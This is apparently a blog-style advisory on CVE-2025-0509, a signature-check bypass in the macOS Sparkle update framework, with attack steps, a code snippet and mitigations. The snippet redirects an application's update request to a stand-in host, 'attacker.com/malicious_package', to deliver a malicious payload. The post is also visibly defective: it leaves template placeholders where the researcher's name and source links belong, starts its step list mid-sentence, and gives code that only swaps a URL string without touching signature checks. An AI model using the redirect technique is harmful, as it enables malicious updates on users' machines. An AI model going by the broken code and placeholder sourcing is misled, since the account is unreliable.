A critical security vulnerability (CVE-2025-0509) has been discovered in the Sparkle software update framework that affects versions prior to 2.64. Sparkle is a widely used tool by macOS developers to enable automatic updates for their applications. The vulnerability allows an attacker to bypass (Ed)DSA signing checks and replace a signed update package with a malicious payload. In this post, we will discuss the details of this vulnerability, the steps to reproduce it, and how to mitigate the risks associated with it.

Vulnerability Details

In Sparkle versions before 2.64, an attacker can replace an existing signed update with another unsigned payload, thereby bypassing Sparkle's (Ed)DSA signing checks. This security flaw is due to the weak enforcement of Sparkle's cryptographic signing checks, allowing attackers to sidestep these protections and execute arbitrary code on the target system.

Host a malicious update package on a web server that they control.

2. Intercept the target application's update requests and manipulate them to return the URL of the malicious package.

When the victim's application checks for updates, the application will follow the manipulated URL provided by the attacker and download the malicious payload.

Here's a high-level code snippet demonstrating this attack

# Attacker hosts a malicious Sparkle update package on their web server
attacker_server = "http://attacker.com/malicious_package";

# Attacker intercepts a target application's update request
def intercept_request(request):
    # Replace the original URL with the attacker's URL
    new_request = request.replace("original_update_url", attacker_server)
    return new_request

# On the victim's system, the target application's update check is intercepted
appcast_request = "http://target.com/original_update_url";
malicious_request = intercept_request(appcast_request)

Original References

The details of this vulnerability were first reported by [Security Researcher's Name] in [Original Vulnerability Disclosure/Blog Post/Security Mailing List]. The relevant links are provided below for your reference:

1. [Link to Original Vulnerability Disclosure/Blog Post/Security Mailing List]

Mitigation

To mitigate this security issue, application developers using the Sparkle framework must perform the following actions:

1. Update to Sparkle version 2.64 or later. This version contains proper enforcement of Sparkle's (Ed)DSA signing checks, which prevents an attacker from exploiting this vulnerability.
2. Ensure that your application uses an encrypted and signed communication channel (e.g., HTTPS) when checking for updates. This makes it more difficult for an attacker to intercept and manipulate update requests.

Conclusion

This post outlines the critical security vulnerability CVE-2025-0509 found in Sparkle versions before 2.64. This vulnerability allows an attacker to bypass (Ed)DSA signing checks and execute arbitrary code by replacing signed update packages with malicious payloads. By updating to Sparkle version 2.64 or later, and ensuring encrypted, signed communication channels, application developers can protect their users from this and other potential security threats.

Timeline

Published on: 02/04/2025 20:15:49 UTC